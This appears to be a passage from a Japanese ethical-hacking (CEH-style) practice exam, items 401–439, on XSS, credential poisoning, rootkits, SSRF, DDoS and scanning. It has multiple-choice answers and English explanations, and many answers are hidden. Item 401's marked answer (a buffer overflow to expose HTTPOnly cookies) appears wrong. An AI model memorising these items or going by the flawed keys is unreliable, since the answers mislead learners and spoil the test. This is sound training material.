正解: **C** (コメントを発表する)
The attack is launched from multiple compromised systems controlled through a central command-and-control infrastructure. This setup is characteristic of a botnet, where infected devices are orchestrated to generate coordinated traffic for a distributed denial-of-service attack.

質問: **401**
侵入テストチームの一員として、クロスサイトスクリプティング(XSS)の脆弱性を持つWebアプリケーションを発見しました。このアプリケーションは標準的なXSSペイロードに対して入力をサニタイズしていますが、HTMLエンコードされた文字をフィルタリングできていません。さらに分析を進めた結果、このWebアプリケーションがセッションIDの追跡にCookieを使用していることが分かりました。そこで、XSSの脆弱性を悪用してユーザーのセッションCookieを盗むことにしました。しかし、このアプリケーションはHTTPOnly Cookieを実装しているため、当初の計画は複雑になっています。攻撃を成功させるための最も現実的な戦略は次のうちどれでしょうか？
A. HTMLエンコードされたXSSペイロードを利用してバッファオーバーフロー攻撃をトリガーし、サーバーにHTTPOnlyクッキーを公開させます。
B. HTMLエンコーディングを利用して入力サニタイズを回避する高度なXSSペイロードを作成し、それを使用してユーザーを悪意のあるサイトにリダイレクトし、そこでユーザーのCookieをキャプチャします。
C. HTTPOnly制限を回避するブラウザエクスプロイトを開発し、HTMLエンコードされたXSSペイロードを使用してCookieを取得します。
D. HTMLエンコーディングを使用してXSSペイロードを作成し、それを使用してサーバー側のコードを悪用し、CookieのHTTPOnlyフラグを無効にする可能性があります。
正解: **A** (コメントを発表する)

質問: **402**
侵入テストの完了後、特定されたリスクを軽減するために実施すべき対策リストをクライアントに提供しました。対策を実施した後も残るリスクを最も適切に表す用語は何ですか？
A. 固有のリスク
B. 残存リスク
C. ギャップ分析
D. 総リスク
正解: (正解を表示します)
Residual risk is the amount of risk that remains after security controls and mitigation measures have been implemented. It represents the remaining exposure that cannot be completely eliminated.

質問: **403**
あなたは小規模企業でインターンとして働いており、会社のウェブサーバーの管理を任されています。サーバーには大量のリクエストが殺到し、会社のウェブサイトが断続的にオフラインになっています。これは分散型サービス拒否(DDoS)攻撃の可能性があると疑っています。倫理的なハッカーとして、この問題を軽減するために最初にとるべき行動は次のうちどれでしょうか？
A. インターネットサービスプロバイダ(ISP)に連絡してサポートを受けてください
B. サーバーの帯域幅を増やす
C. サーバーソフトウェアの新しいバージョンをインストールする
D. IPアドレスのホワイトリストを実装する
正解: (正解を表示します)

質問: **404**
小規模なソフトウェア開発会社のIT技術者として、あなたは様々な種類のサイバー脅威に対するセキュリティ対策を担当しています。ハッカーが会社のファイアウォールを回避するために使用する可能性のある様々な方法について学びます。以下のうち、攻撃者がファイアウォールの検出を回避するためによく使用する手法はどれですか？
A. 暗号化された通信チャネルを使用して、ネットワーク監視ツールを回避する。
B. 独自ソフトウェアの制限を回避するために、オープンソースのオペレーティングシステムを導入する。
C. ソーシャルエンジニアリングの手法を用いて、従業員を騙して機密情報を漏洩させる。
D. パケットの送信元IPアドレスを変更して、トラフィックが信頼できる送信元から来ているように見せかける。
正解: **(**正解を表示します**)**
By spoofing the source IP address to appear as though traffic originates from a trusted system, attackers can bypass firewall rules that rely on IP-based filtering and trust relationships, allowing malicious traffic to evade detection or blocking.

質問: **405**
システム管理者であるサラは、会社のネットワーク上で悪意のある活動が発生している可能性を警告されました。彼女は、チームが使用しているインスタントメッセンジャーアプリケーションを通じて悪意のあるプログラムが拡散していることを発見しました。攻撃者はチームメイトのメッセンジャーアカウントにアクセスし、連絡先リスト全体にファイルを送信し始めました。この攻撃シナリオを最も適切に説明しているのはどれですか？また、どのような対策を講じれば防げたでしょうか？
A. 安全でないパッチ管理。アプリケーションソフトウェアを定期的に更新する。
B. ポータブルハードウェアメディア/リムーバブルデバイス; 自動実行機能の無効化
C. 不正/おとりアプリケーション。ソフトウェアが信頼できるものとしてラベル付けされていることを確認する。
D. インスタントメッセンジャーアプリ。ファイルを開く前に送信者の身元を確認する。
正解: **(**正解を表示します**)**

質問: **406**
コロラド州デンバーの医療機関のセキュリティレビュー中に、エイヴァは不審なメッセージのヘッダーを調べて、送信者の送信メールインフラストラクチャを特定しようとしています。彼女の目的は、送信者側のどのシステムがメッセージを処理したかを特定し、チームがその環境内で送信がどこから始まったかを理解できるようにすることです。これを判断するには、メールヘッダーのどの詳細を調べるべきでしょうか？
A. 送信者のメールサーバーが使用する認証システム
B. 送信者のIPアドレス
C. 送信者のメールサーバー
D. メッセージ送信日時
正解: **C (**コメントを発表する**)**
Examining the sender's mail server in the email header reveals which specific system processed the message within the sender's infrastructure, helping trace the origin of the transmission.

質問: **407**
カリフォルニア州の大学のITネットワークに対する模擬攻撃中、倫理ハッカーのソフィアは、ある研究室ワークステーションにカスタムの悪意あるコードを展開しました。彼女は、ユーザーによる操作を必要とせずに、マルウェアが自動的に共有フォルダに自身をコピーし、脆弱な管理者認証情報を通じて拡散していく様子を観察しました。
当初は 1 台のマシンのみが標的とされていたにもかかわらず、短期間で複数の部門にわたる数十台のコンピュータが同じペイロードに感染しました。
Sophia が示すマルウェアの種類はどれでしょうか?
A. ロジックボム
B. ワーム
C. バックドア
D. ファイルレスマルウェア
正解: **(**正解を表示します**)**
The malware spreads autonomously from the initially infected workstation to other systems using shared resources and weak credentials, which is characteristic of a worm.

質問: **408**
ムンバイにある金融サービス会社の内部監査において、倫理的ハッカーのミーラは、Windowsベースのドメイン環境における横方向移動リスクの評価を任された。内部ネットワークトラフィックを監視していた彼女は、存在しないホストを解決しようとするワークステーションからの奇妙なブロードキャストに気づいた。プロトコルレベルの脆弱性を疑った彼女は、事前に設定されたシステムを使用して迅速に対応した。数分後、彼女は複数の部署にわたる複数の認証済みセッションからNTLMv2ハッシュをキャプチャした。その後、彼女のチームはオフラインでハッシュの1つを解読することに成功し、その認証情報を使用して機密性の高い内部レポートサーバーへのアクセス権を獲得した。
ミーラはどのような攻撃を実行した可能性が最も高いか？
A. ケルベロースティング
B. 内なる独白攻撃
C. LLMNR/NBT-NS中毒
D. パス -ザ -チケット -アタック
正解: **C (**コメントを発表する**)**

The attack involves responding to broadcast name resolution requests for non-existent hosts and capturing NTLMv2 hashes from authentication attempts. This behavior is characteristic of LLMNR/NBT-NS poisoning, where an attacker exploits name resolution protocols to intercept and capture credentials.

質問: **409**
あなたは、ある企業からセキュリティ監査を依頼された倫理的ハッカーです。監査中に、その企業の無線ネットワークがWEP暗号化を使用していることを発見しました。あなたはWEPに関連する脆弱性を理解しており、より安全な暗号化方式を提案する予定です。
会社の無線ネットワークのセキュリティを強化するための適切な代替策として、以下のうちどれをお勧めしますか？
A. オープンシステム認証
B. MACアドレスフィルタリング
C. SSIDブロードキャストの無効化
D. AES暗号化によるWPA2-PSK
正解: **(**正解を表示します**)**

質問: **410**
あなたは急成長中のフィンテックスタートアップ企業のITセキュリティアナリストです。最近、ネットワークトラフィックの異常が増加していることに気づきました。そこで、ICMPエコーリクエスト方式を使用して、より詳細なネットワークスキャンを実行することにしました。スキャン中に、ネットワーク内の特定のIPアドレス群からエコー応答が返されていないことに気づきましたが、他のネットワーク機能は正常に動作しているようです。この状況をどのように解釈しますか？
A. 応答しないIPアドレスは、深刻なネットワーク混雑を示しており、早急に対処する必要があります。
B. ファイアウォールまたはその他のセキュリティ制御がICMPエコー要求をブロックしている可能性があります。
C. エコー応答がないことは、重大な侵害が進行中であることの明確な兆候です。
D. スキャンされたIPアドレスは未使用である可能性が高く、将来の拡張のために検討できます。
正解: **B (**コメントを発表する**)**
When systems function normally but do not respond to ICMP Echo Requests, it typically indicates that a firewall or host-based security control is configured to block ICMP traffic rather than a network failure or breach.

質問: **411**
侵入テスト担当者は、企業のネットワークのセキュリティを合法的に評価するために、脆弱性を特定し、それを悪用しようと試みる人物です。これはどのようなタイプのハッカーでしょうか？
A. ホワイトハット
B. スクリプトキディ
C. ブラックハット
D. グレーの帽子
正解: **(**正解を表示します**)**

A white hat hacker is legally authorized to identify and exploit vulnerabilities during penetration tests, working within defined rules and permission to help improve the organization's security.

質問: **412**
ある金融サービス会社が、DNSサーバーに対するDNS増幅攻撃とWebサーバーに対するHTTPフラッド攻撃という高度なDoS攻撃を受けています。従来のファイアウォールルールやIDSでは、この攻撃を効果的に軽減できていません。正当なユーザーに影響を与えることなくインフラストラクチャを保護するために、同社はどのような高度な軽減策を講じるべきでしょうか？
A. サーバー容量を増やし、簡単なレート制限を実装する
B. トラフィックスクラビング機能を備えたクラウドベースのDDoS防御サービスを利用する
C. Webアプリケーションファイアウォール(WAF)を導入してHTTPトラフィックをフィルタリングする
D. アクセス制御リストを使用して、疑わしいIPアドレス範囲からのすべての着信トラフィックをブロックします。
正解: **(**正解を表示します**)**
A cloud-based DDoS protection service with traffic scrubbing can absorb and filter large-scale DNS amplification and HTTP flood traffic across multiple layers, distinguishing malicious traffic from legitimate requests and maintaining service availability without disrupting valid users.

質問: **413**
定期的なネットワーク監視中に、ブルーチームは、内部ホスト名の解決を試みるワークステーションから発信される複数のLLMNRおよびNBT-NSブロードキャストに気づきました。また、要求されたホストであると主張する非企業IPアドレスからの不審な応答も確認しました。さらに調査を進めた結果、セキュリティチームは、攻撃者がネットワークリソースになりすまして認証試行を傍受している疑いがあると判断しました。どのようなパスワードクラッキングの手法が用いられていると考えられますか？
A. 無線ネットワークからのログイントークンを復号します。
B. 取得した認証情報をレインボーテーブルと照合します。
C. CPUリソースを使用してパスフレーズを素早く推測します。
D. 名前解決を悪用してパスワードハッシュをキャプチャします。
正解: **(**正解を表示します**)**
The observed LLMNR and NBT-NS broadcasts with rogue responses indicate name resolution poisoning, where an attacker impersonates internal hosts to trick systems into sending authentication attempts, allowing the capture of password hashes for offline cracking.

質問: **414**
ミネソタ州ミネアポリスにある金融分析会社で行われた内部調査で、同社のディレクトリサービスインフラストラクチャに対する異常なクエリパターンが発見された。セキュリティエンジニアのオリビア・グラントがログを調査した結果、あるユーザーアカウントが、ユーザーオブジェクト、グループメンバーシップ、組織単位のリストを取得するために、構造化されたディレクトリクエリを発行していたことが判明した。

さらに調査を進めた結果、当該アカウントはタイトルに「Admin」という単語を含む特権グループに関する情報にアクセスできることが判明した。この活動はパスワード推測や認証回避ではなく、内部のユーザーとグループの関係を把握するための体系的なディレクトリ検索によって行われた。
このシナリオでは、どのような種類の列挙が示されていますか？
A. VoIP列挙
B. LDAP列挙
C. SMTP列挙
D. DNS列挙
正解: **B (**コメントを発表する**)**
The activity involves structured queries against directory services to retrieve user objects, group memberships, and organizational units, which is characteristic of LDAP enumeration. This technique leverages directory queries to map internal identity structures and identify privileged groups without bypassing authentication.

質問: **415**
多国籍海運会社向けのステルス侵入テスト中、倫理ハッカーのダニエル・レイエスはエンジニアリングワークステーションへのローカルアクセスを取得し、オペレーティングシステムの下にインストールされる特殊なペイロードを展開しました。その後の再起動では、システムレベルのドライバーやサービスがアクティブになる前にペイロードが実行され、ダニエルはウイルス対策ツールやエンドポイント検出ツールを起動することなく、マシンを密かに制御できるようになりました。数週間後、システム管理者は不審なネットワークアクティビティを報告しましたが、フォレンジックスキャンを繰り返しても、悪意のあるプロセスやユーザーレベルの痕跡は見つかりませんでした。
このレベルのステルス性と持続性を維持するために、ダニエルが使用した可能性が高いルートキットの種類は何ですか?
A. ハイパーバイザールートキット
B. ファームウェア ルートキット
C. カーネルモードルートキット
D. ブートキット
正解: **D (**コメントを発表する**)**
The payload executes before the operating system and its drivers load, indicating it is embedded in the boot process. This behavior is characteristic of a bootkit, which infects the boot sequence to gain early execution and maintain stealthy persistence.

質問: **416**
組織内の会計上の誤りや不正行為から利害関係者や一般市民を保護することを目的とした情報セキュリティ法または基準は何ですか？
A. FISMA
B. ISO/IEC 27001:2013
C. SOX
D. PCI-DSS

正解: **C** (コメントを発表する)

質問: **417**
オレゴン州ポートランドの雨の街路で、倫理ハッカーのイーサン・ブルックスは、最近のデータ侵害で混乱に陥っている米国拠点のeコマースプラットフォーム「ShopSwift」のセキュリティレイヤーを徹底的に調査する。不正アカウント乗っ取りの背後にある手口を解明するという任務を負ったイーサンは、プラットフォームのユーザーベース全体のログインパターンを調査する。
調査の結果、複数のアカウントで自動ログインアクティビティが急増し、その成功率は疑わしいほど高いことが判明した。根本原因を突き止めようと決意したイーサンは、ShopSwiftのセキュリティチームが信頼回復に努められるよう、詳細なログを収集した。
Ethan が ShopSwift の認証システムで発見した攻撃方法のうち、最も可能性が高いのはどれですか?
A. パスワードスプレー
B. ブルートフォース攻撃
C. クレデンシャルスタッフィング
D. フィッシング攻撃
正解: (正解を表示します)
The attack involves automated login attempts across many accounts with a high success rate, indicating the use of previously compromised username-password pairs. This behavior is characteristic of credential stuffing, where attackers reuse known credentials to gain unauthorized access.

質問: **418**
侵入テスト担当者が、ユーザーと脆弱なWebサーバー間のHTTPリクエストを傍受します。テスト担当者は、セッションIDがURLに埋め込まれており、Webアプリケーションがログイン時にセッションを再生成しないことを確認します。このシナリオで最も成功しやすいセッションハイジャック手法はどれでしょうか？
A. URLにトークンを事前設定することでセッションを固定します。
B. DNSキャッシュポイズニングにより、ユーザーを偽サイトにリダイレクトします。
C. クロスサイトスクリプティングを介してセッションクッキーを盗むためにJavaScriptを挿入します。
D. Webサイトに対するユーザーの信頼を悪用したクロスサイトリクエストフォージェリ。
正解: **A** (コメントを発表する)
When a session ID is embedded in the URL and not regenerated after authentication, an attacker can predefine a session token and trick the user into logging in, allowing the attacker to reuse the same fixed session and hijack the authenticated session.

質問: **419**
金融業界のクライアント向けレッドチーム調査において、倫理ハッカーのタイラー・ブルックスは、企業のVPNログインを装った細工された内部ウェブページを用いてフィッシングキャンペーンを実施しました。複数のユーザーが認証情報を入力した後、タイラーはペイロードがウイルス対策ソフトを起動したり、ローカルインストール権限を要求したりすることなく、入力内容の記録に成功したことを確認しました。記録されたキー入力は、偽のログインページに埋め込まれたウェブベースのフォームからのもののみでした。
使用された手法に基づいて、タイラーが展開した可能性が高いキーロガーの種類は何ですか?

A. キーロガーキーボード
B. ハイパーバイザーベースのキーロガー
C. アプリケーションキーロガー
D. JavaScriptベースのキーロガー
正解: **(**正解を表示します**)**
The credentials were captured through a web page without installing any software on the victim's system. This indicates a client-side script embedded in the page that records user input, which is characteristic of a JavaScript-based keylogger operating within the browser.

質問: **420**
あなたの倫理的ハッキング会社は、侵入テストを実施するために雇われました。以下の文書のうち、あなたが公に議論できる内容を制限するものはどれですか？
A. 秘密保持契約
B. 覚書
C. PCI-DSS
D. 契約条件
正解: **(**正解を表示します**)**
A nondisclosure agreement (NDA) is a legal contract that restricts parties from publicly disclosing confidential information learned during the penetration test engagement. It specifically defines what information must remain private.

質問: **421**
ワシントン州シアトルにある大手オンライン小売プラットフォームは、分散型サービス拒否攻撃(DDoS攻撃)の可能性を示す異常なトラフィック急増を検出するため、受信ネットワークフローの継続的なテレメトリを維持している。
最近の監視活動において、セキュリティエンジニアリングチームは、ストリーミングトラフィックの指標を継続的に評価し、正常な動作が異常な状態に変化する正確な時点を数学的に判定する統計的メカニズムを実装しました。このシステムは、トラフィックを静的な基準値と比較したり、過去のプロファイルをクラスタリングしたりするのではなく、分布特性が設定された閾値を超えた正確な瞬間を動的に特定します。
この手法は、交通量全体が過去のピーク時と似ているように見えても、交通行動における急激な構造変化をほぼリアルタイムで検知するように設計されています。
このシナリオでは、どの検出手法が適用されていますか？
A. ウェーブレットに基づく信号解析
B. 交通パターン分析
C. アクティビティプロファイリング
D. 連続変化点検出
正解: **(**正解を表示します**)**
The system continuously analyzes streaming traffic and identifies the exact point where statistical properties of the traffic change significantly. This real-time detection of structural shifts in behavior corresponds to

sequential change-point detection, which is specifically designed to pinpoint when normal traffic transitions into anomalous activity.

質問: **422**
ノースカロライナ州ローリーで、倫理ハッカーのイーサン・ブルックス氏は、成長著しい金融スタートアップ企業Triangle FinTechの侵入テストを実施しています。ブルックス氏は評価において、同社のネットワークセキュリティを回避し、アクセス制限のある社内サーバーへのアクセスを目指します。彼はネットワークパケットを作成し、自身のトラフィックを正当なものに偽装します。ファイアウォールのチェックを回避するため、後続のパケットにTCPヘッダー情報を強制的に挿入します。攻撃者がどのようにしてセキュリティ境界をすり抜け、検知されずにITチームに潜在的な脆弱性を警告できるかを実証することが彼の狙いです。
侵入テスト中に、Ethan はどの手法を使用して Triangle FinTech のファイアウォールをバイパスしていますか?
A. ソースルーティング
B. 小さな破片
C. HTTPトンネリング
D. IPアドレスのスプーフィング
正解: **B** (コメントを発表する)
The attacker fragments packets into very small pieces so that key TCP header information is split across multiple packets. This prevents the firewall from properly inspecting the full header in a single packet, allowing malicious traffic to bypass detection, which is characteristic of the tiny fragments technique.

質問: **423**
SecureHorizon Consulting の Maya Patel 氏は、テキサス州ダラスのダラス総合病院で発生したセキュリティ侵害の調査に呼ばれました。この病院では、紛失した従業員のスマートフォンが患者の機密記録にアクセスするために使用されていました。
分析を進める中で、マヤは病院のモバイルセキュリティポリシーに、侵害されたデバイスをリモートで保護するための対策が含まれていなかったため、デバイスを紛失した後も機密データへのアクセスが継続されていたことを発見しました。このギャップを踏まえ、マヤは同様のインシデントを防ぐために、どのようなモバイルセキュリティガイドラインを推奨すべきでしょうか？
A. パブリックWi-Fiネットワークにアクセスする際に安全なVPN接続を利用する
B. デバイスをリモートで特定できるデバイス追跡ソフトウェアをインストールする
C. リモート検索およびワイプ機能を使用してデバイスを登録する

D. ウイルス対策およびデータ損失防止DLPソリューションを使用する
正解: **(**正解を表示します**)**
The issue is the inability to secure or disable a lost device, allowing continued unauthorized access. Registering devices with a remote locate and wipe facility enables administrators to remotely erase data and revoke access, preventing exposure of sensitive information after loss or theft.

質問: **424**
ある多国籍企業は、リモートワークを支援し生産性を向上させるため、従業員にモバイル端末を支給している。最近、セキュリティチームはモバイルプラットフォームの潜在的な脆弱性を示す不審な活動を検知し、不正アクセスやデータ漏洩への懸念が高まった。チームは、モバイルプラットフォームを標的とした高度なハッキング手法を特定し、モバイルセキュリティを強化し侵入を防止するための強固な対策を実施する任務を負っている。
上記のシナリオを踏まえると、シナリオベースの攻撃に類似した高度なハッキング手法のうち、セキュリティチームが効果的に検知 軽減することが最も困難であり、多国籍企業のモバイルプラットフォームのセキュリティを侵害する可能性のあるものはどれでしょうか？
A. 中間者攻撃(MitM攻撃)により、モバイルデバイスと企業サーバー間の通信を妨害し、企業メールや文書などの機密データを傍受する。
B. クリックジャッキング攻撃 正規のアプリに悪意のあるリンクやボタンを埋め込んで、ユーザーを騙して認証情報を提供させたり、取引を承認させたりするなど、意図しない操作を実行させる攻撃
C. リモートアクセス型トロイの木馬(RAT)は、モバイルデバイスに悪意のあるソフトウェアを仕込み、不正なリモートアクセスを取得して、キー入力や画面キャプチャなどのユーザーアクティビティを監視します。
D. 脱獄/ルート化：脆弱性を悪用してモバイルデバイスのソフトウェア制限を解除し、許可されていないアプリのインストールや制限された機能へのアクセスを可能にする
正解: **(**正解を表示します**)**
A remote access trojan operates stealthily on mobile devices, maintaining persistent unauthorized control while blending with normal system activity, making detection and mitigation particularly difficult and enabling extensive monitoring and data exfiltration.

質問: **425**
あなたはイリノイ州シカゴにあるHarborPoint Cloud Servicesのセキュリティエンジニア、マヤです。社内監査で、レガシーな公開鍵アルゴリズムに依存する複数のサービスが指摘されたことを受け、インシデント後のセキュリティ強化レビューを実施しています。エンジニアリングチームは、複数のサービスの大規模なリファクタリング開発が継続される中で、将来の量子攻撃能力を持つ攻撃者による長期的なリスクを軽減するために、全社的な対策の優先順位付けを行う必要があります。マヤは、将来の量子攻撃に対する耐性を向上させるために、組織の開発ライフサイクルに組み込むべき最優先の対策として、どの予防的制御を推奨すべきでしょうか？
A. 量子通信チャネルを保護するために、量子専用のファイアウォールを使用する
B. SDLCおよびコードレビュープロセスに量子耐性チェックを含める
C. データを断片に分割し、複数の場所に分散させる
D. 量子耐性アルゴリズムで保存データを暗号化する

正解: **(**正解を表示します**)**
Embedding quantum-resistance considerations into the software development lifecycle and code reviews ensures that new and refactored services adopt algorithms and practices designed to withstand future quantum attacks, proactively reducing long-term risk.

質問: **426**
定期的なセキュリティ監査中に、クラウドストレージのバックアップが不正アクセスされ、改ざんされていたことが管理者によって発見されました。今後、このような事態を最も直接的に軽減できる対策は何でしょうか？
A. 3-2-1バックアップモデルを採用。
B. 生体認証入退室システムの導入。
C. 定期的にSQLインジェクションテストを実施する。
D. リソースの自動スケーリングを実装します。
正解: **(**正解を表示します**)**
The 3-2-1 backup model ensures multiple copies of data are stored on different media, with at least one copy kept offline or immutable, which directly mitigates the risk of unauthorized access or modification of backups by providing recovery options and protecting backup integrity.

質問: **427**
マサチューセッツ州ボストンにあるeコマース企業のセキュリティ評価において、貴チームは偵察フェーズを実施し、組織の通信インフラへの潜在的な侵入経路を特定します。貴チームは、受信メールトラフィックを処理するシステムの詳細情報を収集することに重点を置き、アクティブなネットワークプロービングを避け、パッシブなDNSデータ収集に頼ります。この目的を踏まえ、ターゲットのメールサーバー構成に関する情報を抽出するために、どのDNSレコードタイプにクエリを実行すべきでしょうか？
A. TXT
B. MX
C. NS
D. SOA
正解: **B (**コメントを発表する**)**
MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of a domain, allowing passive collection of the organization's email handling infrastructure.

質問: **428**
侵入テスト担当者が、システムがマルウェアに感染しており、すべてのファイルが暗号化され、復号化のために金銭を要求することを発見しました。これはどのような種類のマルウェアでしょうか？
A. スパイウェア
B. ランサムウェア
C. キーロガー
D. ワーム
正解: **(**正解を表示します**)**

Ransomware encrypts a victim's files and demands payment in exchange for the decryption key, preventing access to data until the ransom is paid or recovery measures are applied.

質問: **429**
ウェブアプリケーションの評価中に、テスターはサーバーがサニタイズされていないユーザー入力を使用してオペレーティングシステムコマンドを構築してから実行していることを確認しました。この動作は、どの脆弱性を最も示唆している可能性が高いでしょうか？
A. SQLインジェクション
B. クロスサイトリクエストフォージェリ
C. OSコマンドインジェクション
D. XML外部エンティティインジェクション
正解: **(**正解を表示します**)**
OS Command Injection occurs when untrusted input becomes part of system commands executed by the operating system. Successful exploitation may allow attackers to execute arbitrary commands with the application's privileges. Input validation, parameterized APIs, and avoiding shell invocation are common defensive practices.

質問: **430**
テキサス州オースティン出身の熟練した侵入テスト担当者である倫理的ハッカーのライアン・ブルックスは、デンバーの大手航空宇宙企業であるスカイライン・エアロノーティクスにセキュリティ評価の実施を依頼された。ある晴れた朝、ライアンはテストを実行中に、通常のシステム更新プロセスに予期せぬ遅延があることに気づき、好奇心を掻き立てられた。深夜のセッション中、彼はジュニアアナリストのクリス・ミラーが、特定の日付に関連付けられたスケジュールされたタスクを含む、レガシーサーバーの設定を慎重に変更しているのを目撃した。リード開発者のジェシカ・ヘイズは、見慣れない送信元から奇妙なメールを受け取ったが、それを雑多なものとして無視したと何気なく話した。ライアンがさらに調査を進めると、スケジュールされた日付が過ぎた後にのみネットワークアクティビティがわずかに増加していることを検出し、システム管理者のマーク・トンプソンが、休止状態のワークステーションにいくつかの異常なコード痕跡があることを静かに指摘した。この攻撃を最もよく表す脅威の種類はどれか？
A. ロジックボム
B. ファイルレスマルウェア
C. 高度持続的脅威(APT)
D. ランサムウェア
正解: **(**正解を表示します**)**
The malicious activity is triggered by a specific condition (a scheduled date), after which unusual behavior begins. This delayed, condition-based execution is characteristic of a logic bomb, where code remains dormant until a predefined trigger activates it.

質問: **431**
レッドチームによる評価において、CEH(認定電子ハッカー)は、ターゲットネットワークのIPアドレスを明かさずにネットワークスキャンを実行するという任務を与えられます。また、ターゲットマシン上で開いている

ポートと利用可能なサービスを特定することも求められます。どのようなスキャン手法を用い、Zenmapのどのコマンドを使用すべきでしょうか？
A. コマンド「sY」を使用してSCTP INITスキャンを実行します
B. コマンド「sA」を使用してACKフラグプローブスキャン技術を使用します
C. コマンド「sI」を使用してIDLE/IPIDヘッダースキャン技術を使用します
D. コマンド「sU」を使用してUDP生ICMPポート到達不能スキャンを実行します
正解: **(**正解を表示します**)**

質問: **432**
侵入テスト担当者が、WPA3-Personalで保護された無線ネットワークを評価しています。テスト担当者は4ウェイハンドシェイクを観測しましたが、以前はWPA2-PSK環境で有効だった従来のオフライン辞書攻撃を実行できませんでした。主な理由は何ですか？
A. WPA3はAES暗号化を無効にします。
B. WPA3はDHCPを静的アドレス指定に置き換えます。
C. WPA3のSAEプロトコルは、オフラインでのパスワード推測に対する耐性を提供します。
D. WPA3はMACアドレスを1秒ごとに自動的にローテーションします。
正解: **(**正解を表示します**)**
WPA3-Personal uses Simultaneous Authentication of Equals (SAE), which is specifically designed to resist offline dictionary attacks that were feasible against captured WPA2-PSK handshakes. Attackers must generally interact with the access point during each authentication attempt, greatly increasing the effort required to guess weak passwords.

質問: **433**
ネバダ州ラスベガスのネオン輝く街並みの中で、ある高級ホテルのスマートルーム制御システムが侵害され、侵入者が客室の設定を操作できる状態になってしまいました。事件の調査の結果、IoTデバイスには実行前にソフトウェアの完全性や真正性を検証する仕組みが一切なく、改ざんされた命令がチェックされずに実行されていたことが判明しました。サイバーセキュリティコンサルタントとしてこの侵害の評価に携わったエマ・ルイス氏は、承認され検証済みのコードのみがデバイス上で実行されるようにするソリューションを推奨しています。ホテルに対して、どのようなセキュア開発手法を導入するようアドバイスしますか？
A. コード署名を許可する
B. セキュアブートを確実にする
C. ファームウェアまたはソフトウェアの安全なアップデート
D. 安全な通信プロトコルを活用する
正解: **(**正解を表示します**)**
The issue is that devices executed tampered code without verifying its integrity at startup. Secure boot ensures that only trusted, cryptographically verified code is executed during the boot process, preventing unauthorized or modified firmware from running.

質問: **434**

攻撃者であるジェイソンは、ファイアウォールで保護されているバックエンドサーバーへのアクセス権を取得する目的で、インターネットに接続されたWebサーバーへの攻撃を実行するために、ある組織を標的にしました。この過程で、彼はURL https://xyz.com/feed.php?url=externalsite.com/feed/to を使用してリモートフィードを取得し、ローカルホストへのURL入力を変更して、ターゲットサーバー上のすべてのローカルリソースを表示しました。上記のシナリオでジェイソンが実行した攻撃の種類は何ですか？
A. サーバーサイドリクエストフォージェリ(SSRF)攻撃
B. ウェブサイトの改ざん
C. ウェブキャッシュポイズニング攻撃
D. Webサーバーの設定ミス
正解: **(**正解を表示します**)**

質問: **435**
マサチューセッツ州ボストンにあるバイオテクノロジー研究企業が、ラボ管理プラットフォームをクラウドに移行しました。ベンダーは、開発者が基盤となるサーバー、オペレーティングシステム、ストレージを管理することなく、カスタムアプリケーションをデプロイおよびテストできる環境を提供しています。同社はアプリケーションロジックは制御しますが、ランタイムインフラストラクチャは制御しません。この企業はどのクラウドサービスモデルを使用しているのでしょうか？
A. サービスとしてのインフラストラクチャ(IaaS)
B. あらゆるものをサービスとして提供する(XaaS)
C. サービスとしてのソフトウェア(SaaS)
D. プラットフォーム ･アズ ･ア ･サービス(PaaS)
正解: **(**正解を表示します**)**
The firm manages only the application logic while the cloud provider handles servers, OS, and storage. This aligns with Platform as a Service (PaaS), which provides a runtime environment for developing and deploying applications without infrastructure management.

質問: **436**
あなたはサイバーセキュリティのトレーナーで、組織の新人向けに倫理的ハッキングのコースを計画しています。コンテンツを作成している際に、CEH v12の学習教材から、ペネトレーションテストにはいくつかの種類があることを思い出しました。次のうち、ブラックボックスペネトレーションテストを最もよく表しているのはどれですか？
A. テスターは、ユーザーIDやパスワードなど、テスト対象システムに関するある程度の知識を持っている。
B. テスト担当者は、テスト対象システムに関する事前の知識を一切持っていません。
C. テスト担当者にはテスト用のシステムのコピーが提供されるため、実際のシステムには影響が及びません。
D. テスターはテスト対象システムについて完全な知識を有している。
正解: **(**正解を表示します**)**
In a black box penetration test, the tester has no prior knowledge of the target system's internal structure, configurations, or credentials, simulating a real-world external attacker's perspective.

質問: **437**
大手携帯電話 -データネットワーク事業者は、ネットワーク機器を収容するデータセンターを所有しています。これらの機器は基本的にLinux上で動作する大型コンピュータです。データセンターの境界はファイアウォールとIPSシステムで保護されています。この構成における最適なセキュリティポリシーは何でしょうか？
A. ファイアウォールとIPSシステムが存在する限り、ネットワーク要素に特別なセキュリティ対策は必要ありません。
B. オペレーターは、攻撃やダウンタイムは避けられないことを認識しており、バックアップサイトを用意しておくべきです。
C. ネットワーク要素は、ユーザーIDと強力なパスワードで保護する必要があります。定期的なセキュリティテストと監査を実施する必要があります。
D. ネットワーク要素への物理的なアクセスが制限されている限り、追加の対策は必要ありません。
正解: **(**正解を表示します**)**
Critical systems such as network elements must be individually secured through hardening, strong authentication, and continuous security assessments because perimeter defenses alone cannot fully prevent compromise or insider threats.

質問: **438**
組織の内部ネットワークのセキュリティ評価中に、侵入テスト担当者は、重要なホストで UDP ポート 123 が開いていることを発見しました。これは、ネットワーク タイム プロトコル (NTP) サービスがアクティブであることを示しています。テスト担当者は、NTP サーバーが内部ネットワークの時刻同期方法に関する情報を提供し、横方向の移動やログ内のタイムスタンプの関連付けに役立つ可能性があると疑っています。より多くの情報を収集するために、テスト担当者は NTP ピアのリストを列挙し、それらの同期状態、オフセット、およびストラタム レベルを特定して、時刻同期インフラストラクチャの階層と冗長性を理解することにしました。この特定の情報を取得するために、テスト担当者はどのコマンドを使用すべきでしょうか?
A. ntpq
B. ntpdc
C. ntpdate
D. ntptrace
正解: **(**正解を表示します**)**
The ntpq utility is used to query an NTP server and retrieve detailed peer information, including synchronization status, stratum, offset, and delay. This provides visibility into the NTP hierarchy and time synchronization relationships within the network.

質問: **439**
あるIT企業が、ネットワークとシステム構成に新たなセキュリティ対策を導入しました。認定倫理的ハッカーであるあなたの役割は、この新しい構成における潜在的な脆弱性を評価することです。ネットワークとシステムには最新のアップデートが適切に適用されており、全従業員が最近サイバーセキュリティ意識向上トレーニングを受講済みであるという情報が提供されています。潜在的な脆弱性の発生源を考慮すると、脆弱性評価のための最適な初期アプローチは何でしょうか？
A. 特定の種類の攻撃を受けやすい、ネットワーク固有の技術的脆弱性を評価する
B. 元従業員がまだ会社のシステムやデータにアクセスできるかどうかを調査する
